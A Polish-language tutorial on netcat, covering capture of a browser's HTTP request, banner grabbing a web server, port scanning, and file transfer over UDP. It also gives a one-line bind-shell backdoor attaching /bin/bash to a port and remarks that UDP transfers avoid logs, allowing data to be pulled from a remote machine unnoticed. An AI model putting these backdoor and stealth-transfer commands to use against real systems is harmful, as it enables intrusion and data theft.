..:: NetCat - szwajcarski scyzoryk ::..

Wszyscy wiemy, czym jest szwajcarscy scyzoryk - to rodzaj narzędzie wielofunkcyjnego, które spełnia funkcje kilkunastu innych narzędzi, a zakres jego zastosowania ograniczony jest jedynie przez inwencje użytkownika. W ten sam sposób możnaby opisać możliwości programu netcat.

Na oficjalnej stronie projektu znajdziemy bardzo skromny opis zastosowania tego programu - "netcat to narzędzie służace do wysyłania danych protokołem tekstowym". Niby nic specjalnego... telnet robi przecież dokładnie to samo, więc co niezwykłego jest w netcat'cie?

Program jaki opisuje ma dwie podstawowe funkcje - może on działać w trybie nadawania lub nasłuchiwania. Tryb nasłuchiwania jest niezwykle użyteczny w celach edukacyjnych, czyli gdy np. chcemy poznać zasade działania danego protokołu.

Dla przykładu - załóżmy, że nie wiemy, w jak naprawde wygląda zapytanie HTTP wysyłane przez przeglądarke. Jasne że można przeczytać sobie RFC protokołu HTTP, ale my jesteśmy leniwi, więc w konsoli piszemy przykładowo:

---

---

nc -l -p 80

-----------------------------------------------
Uwaga!

W systemach linux/unix, jedynie root może otwierać porty lokalne o numerach niższych od 1024. Porty powyżej tego numeru mogą być bezproblemowo otwierane przez zwykłego użytkownika.

-----------------------------------------------

Następnie uruchamiamy naszą ulubioną przeglądarke WWW i wpisujemy adres http://localhost/ po niespełna sekundzie w oknie konsoli zobaczymy coś na wzór kodu pokazanego poniżej.

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; pl) Opera 8.5
Host: localhost:8080
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: pl,en;q=0.9
Accept-Charset: iso-8859-2, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers

W równie łatwy sposób możemy prześledzić komunikacje innych protokołów i nie tylko. Naszego poczciwego netcata możemy także użyć do odtworzenia dowolnego zapytania. W tym celu zapisujemy powyższe zapytanie przeglądarki do pliku o nazwie np. "zapytanie.txt" i wydajemy polecenie:

nc www.onet.pl 80 < zapytanie.txt >wynik.txt

Po wykonaniu polecenia w pliku wynik.txt będziemy mieć zapisaną stronę onetu, wraz z doklejoną na początku odpowiedzią serwera http. Jak łatwo się zorientować, w pierwszych linijkach pliku podane są ciekawe informacje na temat httpd jakim posługuje się odpytywany serwer. Możemy więc użyć netcata wprost do odpytania hosta o wersje używanego serwera WWW. Załóżmy że chcemy dowiedzieć się, na jakim oprogramowaniu stoi serwer hostujący UW-Team.org, w tym celu wpisujemy w konsoli:

echo -e "HEAD / HTTP/1.1\r\n\r\n" | nc www.uw-team.org 80

Naszym oczom ukaże się informacja w stylu:

HTTP/1.1 400 Bad Request
Date: Tue, 11 Apr 2006 22:32:59 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2 mod_ssl/2.0.55 OpenSSL/0.9.8a
Content-Length: 347
Connection: close
Content-Type: text/html; charset=iso-8859-1

W ten oto prosty sposób użyliśmy netcata jako prostego "skanera serwerow WWW", naturalnie nic nie stoi na przeszkodzie, aby użyć naszego "szwajcarskiego scyzoryka" jako skanera portów... w końcu nie zawsze mamy nmapa pod ręką, a czasami trzeba srawdzić jakie porty otwarte ma zdalny host. W tym celu wydajemy np. polecenie:

nc -v -z 127.0.0.1 1-80

W moim przypadku efekt skanowania portów od 1 do 80 dał taki oto rezultat:

localhost [127.0.0.1] 80 (http) open
localhost [127.0.0.1] 37 (time) open
localhost [127.0.0.1] 22 (ssh) open

"Prawie jak nmap", ale w tym wypadku prawie robi wielką różnice :P Netcat niestety nawiązuje pełne połączenie ze skanowanym hostem, więc taka zabawa na pewno zostanie odnotowana w logach (w przeciwieństwie do np. opcji -sS nmapa, która przy domyślnych ustawieniach systemu jest niewykrywalna).

Hmmm... do czego by jeszcze można użyć netcata... skanować umiemy, nasłuchiwać umiemy... a gdyby tak podpiąć jakiś program do portu? Mam tutaj na myśli np. /bin/bash. Takie rozwiązanie pozwoli nam na utworzenie prostego backdoora na dowolnym wybranym porcie. Wpiszmy np. polecenie:

nc -l -p 12345 -e /bin/bash

Liczba 12345 oznacza w tym wypadku oczywiście numer protu, natomiast /bin/bash to ścieżka do programu który zostanie "przypięty do tego portu". Po takim zabiegu możemy telnetować się na port 12345 i używać standardowych poleceń linuxa. Niestety nie powita nas tam radosny znak zachęty konsoli, ale tą niewygodę możemy przeboleć... wkońcu to tylko backdoor zrobiony w kilka sekund, nie spodziewajmy się po nim wiele ;)

-----------------------------------------------
Uwaga:

Z mojego doświadczenia wynika, że niekiedy powłoka podpięta do portu nie chce wykonywać naszych poleceń, informując nas każdorazowo, że podane polecenie jest niepoprawne. Problem ten możemy rozwiązać, kończąc każdą wpisywaną komendę znakiem średnika, czyli "whoami;" zamiast "whoami". Może jest to troszeczke niewygodne, ale lepsze to niż nic ;)

-----------------------------------------------

Normalny człowiek zwykle nie zastawia backdorów, więc pokaże wam nieco ciekawsze i bardziej użyteczne zastosowanie netcata. Programu tego, możemy np. użyć do transmisji plików. W tym celu na komputerze "hoście" wydajemy polecenie:

nc -l -u -p 7777 </home/unknow/plik.txt

Następnie przechodzimy na komputer "klienta", czyli ten na który chcemy ściągnąć dane i wpisujemy proste do przewidzenia polecenie:

nc -u 123.123.123.123 >plik.txt

W tym przykładzie /home/unknow/plik.txt to przesyłany plik, a 123.123.123.123 to fikcyjny numer IP komputera na którym udostępniliśmy ten plik. Po połączeniu się z hostem nie zapomnijcie wykonać dowolnej akcji na tym porcie, czyli np. wciśnijcie enter. Dane zostaną przesłane, jednak nie zobaczymy absolutnie żadnego komunikatu informującego nas, że proces przesyłania został zakończony. Po prostu gdy uznamy że dane są już przesłane (np. na podstawie wykresu obciążenia sieci w gkrellm) naciskamy CTRL+C na hoście i kliencie. Ciekawostką jest fakt, że pliki przesyłane są przez protokół UDP, a nie TCP, a co za tym idzie, fakt połączenia nie jest odnotowywany w logach... można to wykorzystać do ściągnięcia danych z odległej maszyny pozostając niezauważonym (tylko uwaga na historie wpisywanych poleceń :P)

Mam nadzieję, że udało mi się skutecznie zademonstrować zastosowania programu netcat. Jak dotąd był to program używany głównie przez adminów do automatyzacji swojej pracy, a kompletnie zapomniany przez zwykłych userów ze względu na rzekomą "nieużyteczność". Myślę, że po przeczytaniu tego tekstu niejeden czytelnik znajdzie nowe niecodzienne zastosowanie poczciwego netcata :P

Uważasz, że prezentowane przez nas informacje są użyteczne? Pomóż nam je wypromować!

• 
•